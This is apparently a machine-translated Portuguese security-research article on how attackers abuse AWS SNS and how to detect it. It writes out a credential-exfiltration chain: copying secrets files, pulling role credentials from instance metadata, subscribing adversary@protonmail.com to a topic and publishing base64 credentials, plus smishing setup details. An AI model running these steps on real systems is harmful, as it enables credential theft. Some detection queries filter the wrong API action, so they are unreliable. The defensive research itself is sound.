Preâmbulo

Bem-vindo a outra parte da engenharia de detecção da AWS com a Elastic. Este artigo abordará como os adversários de ameaças (TA) aproveitam o Simple Notification Service (SNS) da AWS e como procurar indicadores de abuso usando essa fonte de dados.

Espere aprender sobre possíveis técnicas de ameaças que os adversários podem exercer em relação às redes sociais. Também exploraremos as melhores práticas de segurança, reforço de funções e acesso, além de como elaborar lógica de detecção de ameaças para abuso de SNS.

Esta pesquisa foi o resultado de uma colaboração interna recente que exigiu que aproveitássemos o SNS para exfiltração de dados durante um exercício de caixa branca. Durante essa colaboração, ficamos intrigados com a forma como um serviço simples de publicação e assinatura (pub/sub) poderia ser usado indevidamente por adversários para atingir diversas ações em objetivos. Analisamos tentativas de abuso de redes sociais conhecidas publicamente e nosso conhecimento da fonte de dados para montar esta pesquisa sobre oportunidades de detecção.

Aproveite!

Compreendendo o AWS SNS

Antes de começarmos a falar sobre os detalhes, vamos discutir o que é o AWS SNS para termos uma compreensão básica fundamental.

O AWS SNS é um serviço web que permite aos usuários enviar e receber notificações da nuvem. Pense nisso como um serviço de feed de notícias onde um tópico digital é criado, aqueles que estão interessados em atualizações assinam por e-mail, Slack, etc. e quando os dados são publicados naquele tópico, todos os assinantes são notificados e os recebem. Isso descreve o que é comumente chamado de serviço pub/sub fornecido comumente por provedores de serviços em nuvem (CSP). No Azure, isso é oferecido como Web PubSub, enquanto o GCP oferece Pub/Sub. Embora os nomes desses serviços possam diferir ligeiramente de plataforma para plataforma, a utilidade e a finalidade não variam.

O SNS fornece dois fluxos de trabalho, de aplicativo para pessoa (A2P) e de aplicativo para aplicativo (A2A), que atendem a propósitos diferentes. Os fluxos de trabalho A2P se concentram mais na operação integral com serviços da AWS, como Firehose, Lambda, SQS e muito mais. No entanto, neste artigo, vamos concentrar nossa atenção nos fluxos de trabalho A2P. Conforme mostrado no diagrama abaixo, um tópico SNS é comumente criado, permitindo que os assinantes utilizem SMS, e-mail ou notificações push para receber mensagens.

Características adicionais:

Políticas de filtragem: os assinantes podem definir regras de filtragem para receber apenas um subconjunto relevante de mensagens, se desejarem. Essas políticas de filtro são definidas no formato JSON, especificando em quais atributos de uma mensagem o assinante está interessado. O SNS avalia essas políticas no lado do servidor antes da entrega para determinar para quais assinantes as mensagens devem ser enviadas.

Criptografia: o SNS utiliza a criptografia do lado do servidor (SSE) usando o AWS Key Management Service (KMS) para proteger mensagens em repouso. Quando a criptografia está habilitada, as mensagens são criptografadas antes de serem armazenadas no SNS e depois descriptografadas na entrega ao ponto de extremidade. Isso é, obviamente, importante para manter a segurança das Informações Pessoais Identificáveis (PII) ou outros dados confidenciais, como números de contas. Não tenha medo, embora o SNS criptografe apenas em repouso, outros protocolos (como HTTPS) lidam com a criptografia em trânsito, tornando-a de ponta a ponta (E2E).

Tentativas de entrega e filas de mensagens mortas (DLQs): o SNS tenta automaticamente a entrega de mensagens para endpoints, como SQS, Lambda, etc., em caso de falhas inesperadas. No entanto, as mensagens que não são entregues acabam residindo em DLQs, que normalmente são filas do AWS SQS que permitem a depuração para desenvolvedores.

Escalabilidade: o AWS SNS foi projetado para lidar com grandes volumes de mensagens, dimensionando-se automaticamente para acomodar o aumento do tráfego sem intervenção manual. Não há requisitos de provisionamento iniciais e você paga somente pelo que usa, o que o torna econômico para a maioria das organizações.

O AWS SNS é uma ferramenta poderosa para facilitar a comunicação em ambientes de nuvem. Para uma compreensão mais profunda, recomendamos analisar a documentação existente da AWS. Entretanto, sua versatilidade e capacidade de integração também o tornam suscetível a abusos. Na próxima seção, exploramos alguns cenários em que adversários podem usar o SNS para fins maliciosos.

Teste de caixa branca

O teste de caixa branca envolve a execução de emulações atômicas de comportamento malicioso em um ambiente controlado, com visibilidade total da infraestrutura vulnerável ou mal configurada e suas configurações. Essa abordagem é comumente empregada em ambientes de nuvem para validar capacidades de detecção durante o desenvolvimento de regras ou modelos de detecção de ameaças visando táticas, técnicas e procedimentos (TTPs) específicos. Diferentemente de ambientes de endpoint, onde simulações de adversários frequentemente envolvem a detonação de binários e ferramentas de malware, TTPs baseados em nuvem tipicamente exploram serviços existentes orientados por API por meio de técnicas de "viver fora da nuvem", tornando essa abordagem essencial para análise e detecção precisas.

Exfiltração de dados via SNS

A exfiltração via SNS começa com a criação de um tópico que serve como um proxy para receber dados roubados e entregá-los à fonte de mídia externa, como e-mail ou celular. Os adversários então inscreveriam essa fonte de mídia no tópico para que quaisquer dados recebidos fossem encaminhados a eles. Depois que isso for preparado, é só uma questão de empacotar os dados e publicá-los no tópico do SNS, que cuida da distribuição. Esse método permite que adversários ignorem mecanismos tradicionais de proteção de dados, como ACLs de rede, e exfiltrem informações para destinos externos não autorizados.

Exemplo de fluxo de trabalho:

• Aterrisse na instância EC2 e realize a descoberta de dados confidenciais, prepare-os para mais tarde
• Aproveite o IMDSv2 e o STS nativamente com o AWS CLI instalado para obter credenciais temporárias
• Crie um tópico no SNS e anexe um endereço de e-mail externo como assinante
• Publicar informações confidenciais sobre o tópico, codificadas em Base64 (ou texto simples)
• O endereço de e-mail externo recebe os dados exfiltrados

Configuração de infraestrutura

Para a infraestrutura da vítima, usaremos nossa estrutura preferida de infraestrutura como código (IaC), o Terraform.

Um gist público foi criado, contendo todos os arquivos necessários para seguir este exemplo. Em resumo, essas configurações do Terraform implantam uma instância do EC2 na AWS dentro de uma sub-rede pública. A configuração inclui um script de dados do usuário que adiciona credenciais fictícias para dados confidenciais como variáveis de ambiente e instala a AWS CLI para emular um ambiente comprometido. Além disso, a instância do EC2 recebe uma função do IAM com permissões para sns:Publish, sns:Subscribe e sns:CreateTopic.

Há várias maneiras possíveis pelas quais um adversário pode obter acesso inicial a essa instância do EC2, incluindo a exploração de aplicativos web vulneráveis para implantação de shell web, uso de credenciais SSH roubadas, pulverização de senhas ou preenchimento de credenciais. Neste cenário de exemplo específico, vamos supor que o invasor obteve acesso inicial por meio de um aplicativo web vulnerável e, posteriormente, carregou um shell web. O próximo objetivo neste caso seria a persistência via acesso de credencial. Isso é comumente visto quando adversários têm como alvo softwares ou aplicativos da web populares de terceiros, como Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange e muito mais.

Para começar, baixe os arquivos do Terraform do gist.

1. Ajuste as variáveis no arquivo variables.tf para corresponder à sua configuração.
   1. Adicione seu endereço IPv4 da lista de permissões para trusted_ip_cidr
   2. Adicione o caminho do arquivo de chave SSH local ao public_key_path
   3. Certifique-se de que ami_id.default é o AMI-ID correto para sua região
2. Execute terraform init na pasta para inicializar o diretório de trabalho.

Quando estiver pronto, execute terraform apply para implantar a infraestrutura.

Alguns lembretes:

• O Terraform usa o perfil padrão da AWS CLI, portanto, certifique-se de estar trabalhando com o perfil correto na sua configuração da AWS.
• O ID AMI fornecido é específico para a região us-east-1 . Se você estiver implantando em uma região diferente, atualize o ID da AMI adequadamente no arquivo variables.tf .
• Altere trusted_ip_cidr.default em variables.tf de 0.0.0.0/0 (qualquer IP) para seu intervalo CIDR conhecido publicamente.

Terraform aplica saída

Vamos usar SSH para acessar nossa instância EC2 para garantir que nossas credenciais confidenciais foram criadas a partir do script de dados do usuário. Observe que no arquivo outputs.tf garantimos que o comando SSH seria gerado para nós com base no caminho da chave e no IP público da nossa instância EC2.

Com essa infraestrutura preparada e confirmada, podemos então passar para a execução prática.

O fluxo de trabalho na prática: exfiltração de credenciais confidenciais

Vamos passar por esse fluxo de trabalho na prática, agora que nossa infraestrutura está estabelecida. Como lembrete, o objetivo do nosso adversário oportunista é verificar credenciais locais, pegar o que puder e armazenar os dados confidenciais localmente. Desde o desembarque nesta instância do EC2, identificamos que a AWS CLI existe e identificamos que temos permissões do SNS. Assim, planejamos criar um tópico SNS, registrar um e-mail externo como assinante e então exfiltrar nossas credenciais roubadas e outros dados como mensagens SNS.

Nota: Embora este exemplo seja extremamente simples, o objetivo é focar no SNS como uma metodologia para exfiltração. As circunstâncias e o cenário exatos serão diferentes dependendo da configuração específica da infraestrutura da vítima.

Identificar e coletar credenciais de locais comuns:
Nosso adversário terá como alvo os arquivos de credenciais do GitHub e .env arquivos localmente com algum bom e velho script Bash. Isso pegará as credenciais desses arquivos e os colocará na pasta temporária /tmp , preparando-os para exfiltração.

Comando: cat /home/ubuntu/.github/credentials /home/ubuntu/project.env > /tmp/stolen_creds.txt

Método de Exfiltração de Estágios por meio da Criação de Tópico SNS
Vamos aproveitar a AWS CLI existente para criar o tópico do SNS. Como lembrete, esta instância do EC2 assume a função IAM personalizada que criamos e anexamos, o que lhe permite criar tópicos do SNS e publicar mensagens. Como a AWS CLI está pré-instalada em nossa instância EC2, ela recuperará credenciais temporárias do IMDSv2 para a função assumida quando invocada. Entretanto, se esse não fosse o caso, um adversário poderia recuperar credenciais nativamente com o seguinte código bash.

# Fetch the IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Get the IAM role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Fetch the temporary credentials
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)

# Extract the Access Key, Secret Key, and Token
AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')

Quando isso estiver concluído, vamos tentar criar nosso tópico SNS e o endereço de e-mail que será usado como nosso receptor externo para os dados exfiltrados.

Comando Criar Tópico: TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)

Comando de inscrição: aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"

Conforme mostrado acima, após a execução dos comandos, podemos navegar até a caixa de entrada do endereço de e-mail externo para confirmar a assinatura. Após a confirmação, nosso endereço de e-mail externo receberá todas as mensagens enviadas para whitebox-sns-topic topic que planejamos usar para exfiltração.

Exfiltrar dados via publicação SNS
Neste ponto, obtivemos acesso a uma instância do EC2, investigamos para entender nosso ambiente, identificamos alguns serviços para abuso e algumas credenciais que queremos obter. Observe que todas as nossas etapas anteriores poderiam ter sido realizadas por meio de um script Bash simples que poderia ser instalado na instância EC2 comprometida por meio do nosso webshell, mas isso é dividido em etapas individuais para fins de exemplo.

Em seguida, podemos pegar os dados armazenados em /tmp/stolen_creds.txt, codificá-los em base64 e enviá-los para o endereço de e-mail controlado pelo adversário via SNS.

Comandos:

• Conteúdo codificado em Base64: BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
• Publique credenciais codificadas em nosso tópico: aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"

Após a conclusão, podemos simplesmente verificar nossa caixa de entrada em busca dessas credenciais extraídas.

Pegando a carga útil da nossa mensagem, podemos decodificá-la para ver que ela representa as credenciais que encontramos na instância do EC2.

Como muitos adversários podem tentar estabelecer persistência ou se mover lateralmente pelo ambiente e serviços da AWS, eles poderão contar com esse tópico do SNS para exfiltrar dados enquanto as permissões estiverem no escopo para o usuário ou função do IAM. Além disso, eles poderiam configurar uma tarefa recorrente que verificasse dados nessa instância do EC2 e exfiltrasse continuamente qualquer coisa interessante ao longo do tempo. Há muitas opções práticas neste cenário para encadeamento adicional que poderia ser feito.

Antes de continuar, recomendamos que você use o seguinte comando para destruir sua infraestrutura após sair da conexão SSH: terraform destroy --auto-approve

Desafios para os adversários:

É claro que há muitas incertezas em qualquer teste de caixa branca que podem se tornar obstáculos ou obstáculos para um TA, tanto avançado quanto imaturo em conhecimento, habilidades e competências. Também depende muito da configuração e do ambiente da vítima em potencial. Abaixo estão os desafios adicionais que os adversários enfrentariam.

Acesso inicial: obter acesso inicial à instância EC2 geralmente é o maior obstáculo. Isso pode envolver a exploração de um aplicativo da web vulnerável ou serviço de terceiros, usando credenciais SSH roubadas, pulverização de senhas ou preenchimento de credenciais, ou aproveitando outros meios, como engenharia social ou phishing. Sem acesso inicial, toda a cadeia de ataque é inviável.

Estabelecendo uma sessão ativa: depois de obter acesso, pode ser difícil manter uma sessão ativa, especialmente se o ambiente incluir proteção de endpoint robusta ou reinicializações regulares que eliminem atividades não autorizadas. Os adversários podem precisar estabelecer uma posição persistente usando técnicas como webshell, reverse shell ou um script dropper automatizado.

AWS CLI instalada na instância: a presença da AWS CLI em uma instância EC2 pública é incomum e não é considerada uma prática recomendada. Muitos ambientes seguros evitam pré-instalar a AWS CLI, forçando os adversários a trazer suas próprias ferramentas ou confiar em métodos menos diretos para interagir com os serviços da AWS.

Permissões de função do IAM: a função do IAM anexada à instância do EC2 deve incluir políticas permissivas para ações do SNS (sns:Publish, sns:Subscribe, sns:CreateTopic, sts:GetCallerIdentity). Muitos ambientes restringem essas permissões para impedir o uso não autorizado, e configurações incorretas geralmente são necessárias para que o ataque seja bem-sucedido. As melhores práticas de segurança, como o princípio do menor privilégio (PoLP), garantiriam que as funções fossem configuradas apenas com as permissões necessárias.

Execução de scripts maliciosos: executar com sucesso um script ou executar comandos sem disparar alarmes (por exemplo, agentes CloudTrail, GuardDuty, EDR) é um desafio. Os adversários devem garantir que suas atividades se misturem ao tráfego legítimo ou usar técnicas de ofuscação para evitar a detecção.

Vantagens para os adversários

É claro que, embora essas técnicas apresentem desafios para o adversário, vamos considerar algumas vantagens cruciais que elas também podem ter.

• Integração com serviços nativos da AWS: ao aproveitar o AWS SNS para exfiltração de dados, a atividade do adversário aparece como uso legítimo de um serviço nativo da AWS. As redes sociais são comumente usadas para notificações e disseminação de dados, o que torna menos provável que levantem suspeitas imediatas.
• Representação de identidade por meio da função do IAM: as ações realizadas por meio da AWS CLI são atribuídas à função do IAM anexada à instância do EC2. Se a função já tiver permissões para ações do SNS e for usada regularmente para tarefas semelhantes, a atividade adversária pode se misturar perfeitamente com as operações esperadas.
• Sem preocupações com grupos de segurança ou ACLs de rede: como a comunicação SNS ocorre inteiramente dentro dos limites da AWS, não há dependência de configurações de grupos de segurança ou ACLs de rede. Isso ignora os controles tradicionais de tráfego de saída, garantindo que as tentativas de exfiltração de dados do adversário não sejam bloqueadas.
• Falta de detecções de abuso de SNS: o abuso de SNS para exfiltração de dados é submonitorado em muitos ambientes. As equipes de segurança podem se concentrar em serviços da AWS mais comumente abusados (por exemplo, S3 ou EC2) e não ter detecções ou alertas dedicados para atividades incomuns do SNS, como criação frequente de tópicos ou grandes volumes de mensagens publicadas.
• Pegada mínima com comandos não invasivos: os comandos locais usados pelo adversário (por exemplo, cat, echo, base64) são benignos e normalmente não acionam ferramentas de detecção e resposta de endpoint (EDR). Esses comandos são comuns em tarefas administrativas legítimas, permitindo que adversários evitem a detecção em sistemas Linux de backend.
• Exfiltração eficiente e escalável: o SNS permite a exfiltração escalável ao permitir que adversários enviem grandes quantidades de dados para vários assinantes. Uma vez configurado, o adversário pode automatizar a publicação periódica de informações confidenciais com o mínimo de esforço adicional.
• Capacidades de exfiltração persistente: enquanto o tópico e a assinatura do SNS permanecerem ativos, o adversário pode usar a infraestrutura para exfiltração contínua. Isso é especialmente verdadeiro se a função do IAM mantiver suas permissões e nenhum monitoramento proativo for implementado.
• Ignorando o monitoramento de saída e o DLP: como os dados são exfiltrados pelo SNS dentro do ambiente da AWS, eles ignoram o monitoramento de saída tradicional ou as soluções de prevenção contra perda de dados que se concentram no tráfego de saída para destinos externos.

Abuso na Natureza

Embora os cenários de caixa branca sejam inestimáveis para simular potenciais comportamentos adversários, é igualmente importante basear essas simulações com ameaças in-the-wild (ItW). Para isso, exploramos pesquisas disponíveis publicamente e identificamos um artigo importante do SentinelOne descrevendo uma campanha de mensagens de spam que utilizou o AWS SNS. Usando insights desta pesquisa, tentamos replicar essas técnicas em um ambiente controlado para entender melhor suas implicações.

Embora não nos aprofundemos na análise de atribuição descrita na pesquisa da SentinelOne, recomendamos fortemente que você revise seu trabalho para uma análise mais profunda das origens da campanha. Em vez disso, nosso foco está nas ferramentas e técnicas empregadas pelo adversário para abusar do AWS SNS para fins maliciosos.

Smishing e Phishing

Ambientes AWS comprometidos com serviços SNS pré-configurados podem servir como plataformas de lançamento para ataques de smishing (phishing por SMS) ou phishing. Os adversários podem explorar tópicos e assinantes legítimos do SNS para distribuir mensagens fraudulentas interna ou externamente, aproveitando a confiança inerente nos canais de comunicação de uma organização.

Conforme detalhado no blog do SentinelOne, o adversário empregou uma ferramenta baseada em Python conhecida como SNS Sender. Este script habilitou campanhas de phishing por SMS em massa interagindo diretamente com APIs do AWS SNS usando credenciais comprometidas da AWS. Essas solicitações de API autenticadas permitiram que o adversário ignorasse proteções comuns e enviasse mensagens de phishing em massa.

O script do SNS Sender utiliza chaves de acesso e segredos válidos da AWS para estabelecer sessões de API autenticadas por meio do AWS SDK. Munidos dessas credenciais, os adversários podem criar fluxos de trabalho de phishing que incluem:

1. Estabelecendo sessões autenticadas da API do SNS por meio do AWS SDK.
2. Enumerar e segmentar listas de números de telefone para servir como destinatários de phishing.
3. Utilizando um ID de remetente pré-registrado (se disponível) para falsificar entidades confiáveis.
4. Envio de mensagens SMS contendo links maliciosos, muitas vezes se passando por um serviço legítimo.

O Elastic Security Labs prevê que o uso de ferramentas únicas ou disponíveis comercialmente para abusar de serviços de nuvem, como o SNS Sender, continuará a crescer como foco de pesquisa. Isso ressalta a importância de entender essas ferramentas e seu impacto na segurança da nuvem.

Considerações sobre armamento e pré-teste

Para executar com sucesso uma campanha de phishing em escala usando o AWS SNS, o adversário precisaria de acesso a uma organização de mensagens de usuário final da AWS já registrada. A AWS restringe novas contas ao Modo Sandbox do SNS, o que limita o envio de SMS para números de telefone verificados manualmente. Para contornar as restrições do sandbox, os adversários precisariam acessar uma conta já aprovada para mensagens SMS de produção. O processo de testes e armamento exigiria várias etapas importantes.

Uma configuração completa do AWS End User Messaging exigiria:

• Uma identidade de origem estabelecida (que inclui um código longo, um número gratuito ou um código curto).
• Aprovação regulatória por meio de um processo de registro de marca.
• Pré-aprovação da operadora para mensagens SMS de alto volume.

Sem esses identificadores pré-registrados, as mensagens do AWS SNS podem perder prioridade, ser bloqueadas ou não serem enviadas.

Antes de implementar um ataque em larga escala, os adversários provavelmente testariam a entrega de SMS usando números de telefone verificados no modo AWS SNS Sandbox. Este processo requer:

• Verificar manualmente os números de telefone antes de enviar mensagens.
• Garantir que sua operadora permita mensagens de sandbox do AWS SNS, já que algumas (como T-Mobile e Google Voice) frequentemente bloqueiam SMS de verificação de sandbox do AWS SNS.
• Testar rotas de entrega em diferentes regiões da AWS para identificar quais países permitem IDs de remetente personalizados ou permitem mensagens que não sejam de sandbox.

Se o ambiente de teste de um invasor não recebesse OTPs de verificação do SNS, ele provavelmente mudaria para uma conta diferente da AWS ou aproveitaria uma conta comprometida da AWS que já tivesse permissões de mensagens em nível de produção.

Além disso, o adversário provavelmente priorizaria mensagens transacionais em vez de promocionais. As mensagens transacionais são priorizadas pela AWS (OTPs, alertas de segurança, etc.), enquanto as mensagens promocionais têm prioridade mais baixa e podem ser filtradas ou bloqueadas por determinadas operadoras.

Se os adversários não conseguirem substituir os padrões de tipo de mensagem, suas mensagens de phishing poderão ser despriorizadas ou rejeitadas pela AWS, o que pode ser um obstáculo.

Identidade de origem registrada e ID do remetente (se suportado)

A AWS exige registro de marca e verificação de identidade de origem para empresas que enviam mensagens SMS de alto volume. Dependendo da região e da operadora, os adversários podem explorar diferentes configurações:

• Abuso de ID do remetente: em alguns países fora dos EUA regiões, os adversários poderiam registrar um ID de remetente para fazer com que mensagens de phishing parecessem de uma entidade confiável. Isso pode permitir falsificação de bancos, empresas de transporte ou agências governamentais, tornando a tentativa de phishing mais convincente.
• Exploração de código longo e de ligação gratuita: o AWS SNS atribui códigos longos (números de telefone padrão) ou números de ligação gratuita para SMS de saída. Números gratuitos exigem registro, mas ainda podem ser usados indevidamente se um adversário comprometer uma conta da AWS com um serviço de mensagens gratuito ativo.
• Restrições de código curto: códigos curtos de alto rendimento (números de 5 ou 6 dígitos) geralmente são controlados pela operadora e exigem verificação adicional, o que os torna menos práticos para os adversários.

Configuração de infraestrutura

Por padrão, as contas da AWS que não configuraram corretamente o serviço de mensagens do usuário final são restritas a uma sandbox de SMS. Este sandbox permite que os desenvolvedores testem a funcionalidade do SMS enviando mensagens para números de telefone verificados. No entanto, como descobrimos, o processo de verificação de números na sandbox é repleto de desafios.

Apesar das repetidas tentativas de registrar números de telefone no sandbox, descobrimos que as mensagens de verificação (códigos OTP) não chegavam aos terminais de várias operadoras e serviços, incluindo Google Voice e Twilio. Isso sugere que as operadoras de telefonia móvel podem bloquear essas mensagens originadas da sandbox, efetivamente paralisando o processo de verificação, mas, em última análise, nos impedindo de imitar o comportamento.

Para uso em produção, a migração do sandbox requer um serviço de mensagens do usuário final da AWS totalmente configurado. Isso inclui:

• Um ID de remetente legítimo.
• Um pool telefônico para failovers.
• Identidade de origem.
• Registro de marca para conformidade regulatória.

Essa configuração está alinhada aos requisitos do script SNS Sender e representa um ambiente ideal para adversários. O uso de um ID de remetente, que depende de uma identidade de origem pré-estabelecida e de um registro de marca, permite que mensagens de phishing pareçam ter origem em uma organização respeitável. Isso reduz a probabilidade de detecção ou bloqueio no nível da operadora, aumentando a taxa de sucesso da campanha.

Os requisitos para esse ataque sugerem que os adversários provavelmente terão como alvo empresas que usam o AWS End User Messaging para alertas e mensagens SMS automatizadas. Setores como logística e serviços de entrega, plataformas de comércio eletrônico e viagens e hospitalidade são os principais alvos devido à sua dependência de notificações automatizadas por SMS.

Do lado do destinatário, a mensagem de phishing parece ter origem em uma entidade confiável, ignorando os alarmes da operadora e evitando suspeitas.

Durante nossos testes, encontramos um comportamento inesperado ao fazer login no CloudTrail ao tentar usar o script e a AWS CLI para enviar mensagens SMS diretamente pelo SNS. Tentativas de entrega de mensagens com falha não apareceram nos logs do CloudTrail como esperado.

Embora a chamada da API de publicação geralmente seja registrada no CloudTrail (desde que os eventos do plano de dados estejam habilitados), ainda não está claro se a ausência de logs para tentativas malsucedidas foi devido ao comportamento inerente do SNS ou à configuração incorreta de nossa parte. Essa lacuna destaca a necessidade de uma investigação mais profunda sobre como as solicitações de publicação do SNS com falha são tratadas pela AWS e se configurações adicionais são necessárias para capturar esses eventos de forma confiável.

Como resultado, determinamos que seria melhor incluir uma consulta de busca de ameaças para isso em vez de uma regra de detecção devido à incapacidade de replicar completamente o comportamento do adversário, à dependência de marcas pré-estabelecidas e registradas e à identidade de origem, na íntegra.

Oportunidades de detecção e caça

Para detecção e busca, os logs de auditoria do CloudTrail fornecem visibilidade suficiente para as chamadas de API subsequentes dessa atividade. Eles também incluem informações contextuais suficientes para ajudar a aumentar a fidelidade desses sinais anômalos. As seguintes detecções e consultas de busca aproveitarão os dados do CloudTrail ingeridos em nossa pilha Elastic com a integração do AWS CloudTrail, no entanto, eles devem ser traduzíveis para o SIEM de sua escolha, se necessário. Para esta atividade, focamos apenas em funções assumidas, especificamente aquelas com instâncias do EC2 sendo abusadas, mas isso pode ocorrer em outros lugares nos ambientes da AWS.

Tópico SNS criado por usuário raro

Fonte da regra de detecção
Fonte de consulta de caça
MITRE ATT&CK: T1608

Identifica quando um tópico do SNS é criado por um ARN de identidade de usuário raro da AWS (Usuário ou Função do IAM). Essa detecção aproveita as regras do tipo New Terms do Elastic para identificar quando a primeira ocorrência de um ARN de identidade de usuário cria um tópico do SNS. Seria muito incomum que uma função assumida, normalmente utilizada em instâncias do EC2, criasse tópicos do SNS.

Nossa consulta utiliza o tipo de regra KQL e New Terms para focar em tópicos criados por uma função assumida especificamente para uma instância EC2.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Consulta de caça (ES|QL)

Nossa consulta de busca se concentra na ação da API CreateTopic de uma entidade cujo tipo de identidade é uma função assumida. Também analisamos o ARN para garantir que essa solicitação esteja sendo originada de uma instância do EC2. Podemos então agregar por conta de nuvem, entidade (ID da instância EC2), nome da função assumida, região e agente do usuário. Se for incomum que a instância EC2 relatada esteja criando tópicos SNS aleatoriamente, então pode ser um bom sinal anômalo para investigar.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Notas de caça:

• Já é incomum que credenciais de uma função assumida para uma instância EC2 criem tópicos SNS aleatoriamente.
• Se uma chave de acesso de identidade do usuário (aws.cloudtrail.user_identity.access_key_id) existe no log de auditoria do CloudTrail, então essa solicitação foi realizada via CLI ou programaticamente. Essas chaves podem estar comprometidas e exigir uma investigação mais aprofundada.
• Um invasor pode recorrer a ações da API de publicação chamadas para esse tópico específico para identificar qual recurso da AWS está publicando mensagens. Com acesso ao tópico, o invasor poderia então investigar mais a fundo a lista de assinantes para identificar assinantes não autorizados.

Assinatura de tópico SNS com e-mail por usuário raro

Fonte da regra de detecção
Fonte de consulta de caça
MITRE ATT&CK: T1567, T1530

Identifica quando um tópico do SNS é assinado por um ARN de identidade de usuário raro da AWS (Usuário ou Função do IAM). Essa detecção aproveita as regras do tipo New Terms da Elastic para identificar quando a primeira ocorrência de um ARN de identidade de usuário tenta assinar um tópico SNS existente. A exfiltração de dados que ocorreu durante nosso exemplo de teste de caixa branca acima teria sido capturada por essa busca por ameaças; um alerta teria sido gerado quando estabelecemos uma assinatura SNS para um usuário externo.

Reduções adicionais de falsos positivos podem ser obtidas ao incluir na lista de permissões os TLDs esperados da organização no endereço de e-mail solicitado, caso o tópico seja destinado apenas para uso interno.

Nossa consulta utiliza o tipo de regra KQL e New Terms para focar em assinaturas que especificam um endereço de e-mail. Infelizmente, o CloudTrail oculta o endereço de e-mail inscrito, caso contrário isso seria vital para investigação.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Subscribe"
    and aws.cloudtrail.request_parameters: *protocol=email*

Novo valor de termos: aws.cloudtrail.user_identity.arn

Consulta de caça (ES|QL)

Nossa consulta de busca utiliza o ES|QL, mas analisa os parâmetros de ação da API de assinatura para filtrar melhor o protocolo de e-mail que está sendo especificado. Ele também analisa o nome do agente do usuário, mas depende ainda mais de agregações para potencialmente identificar outros atributos anômalos do agente do usuário. Também incluímos a região onde a assinatura ocorreu, pois pode ser incomum que certas regiões sejam assinadas por outras, dependendo do contexto comercial específico de uma organização.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Subscribe"
| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE protocol == "email"
| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE regional_topic_subscription_count == 1
| SORT regional_topic_subscription_count ASC

Notas de caça:

• Se uma chave de acesso de identidade do usuário (aws.cloudtrail.user_identity.access_key_id) existe no log de auditoria do CloudTrail, então essa solicitação foi realizada via CLI ou programaticamente. Essas chaves podem estar comprometidas e exigir uma investigação mais aprofundada.
• Ignorar o ARN do tópico durante a agregação é importante para identificar anomalias de primeira ocorrência na assinatura de um tópico do SNS com um e-mail. Ao não agrupar assinaturas por ARN de tópico, garantimos que a consulta se concentre apenas em detectar assinaturas inesperadas ou pouco frequentes, independentemente de tópicos específicos já estabelecidos.
• Outra consulta pode ser necessária com o ARN de identidade do usuário como um filtro de inclusão para identificar em qual tópico ele se inscreveu.
• Se um nome de agente de usuário anômalo for observado, uma investigação secundária na sequência de caracteres do agente de usuário pode ser necessária para determinar se ele está associado a scripts automatizados, navegadores incomuns ou plataformas incompatíveis. Embora seja simples falsificar essas informações, sabe-se que os adversários não o fazem por razões não reveladas.

Tópico SNS Mensagem Publicada por Usuário Raro

Fonte da regra de detecção
Fonte de consulta de caça

Identifica quando uma mensagem é publicada em um tópico do SNS a partir de um ARN de identidade de usuário incomum na AWS. Se a função ou política de permissão não praticar PoLP, a publicação em tópicos do SNS pode ser permitida e, portanto, abusada. Por exemplo, funções padrão fornecidas pelo AWS Marketplace que permitem a publicação em tópicos do SNS. Ele também pode identificar entidades desonestas que antes estavam enviando mensagens para tópicos do SNS, mas não estão mais sendo abusadas se as credenciais forem comprometidas. Observe que isso se concentra apenas em instâncias do EC2, mas você pode fazer ajustes para considerar diferentes anomalias de publicação com base na origem, região, agente do usuário e muito mais.

Nossa consulta utiliza o tipo de regra KQL e New Terms para focar em assinaturas que especificam um endereço de e-mail. Infelizmente, o CloudTrail oculta o endereço de e-mail inscrito, pois isso seria um recurso vital para investigação.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
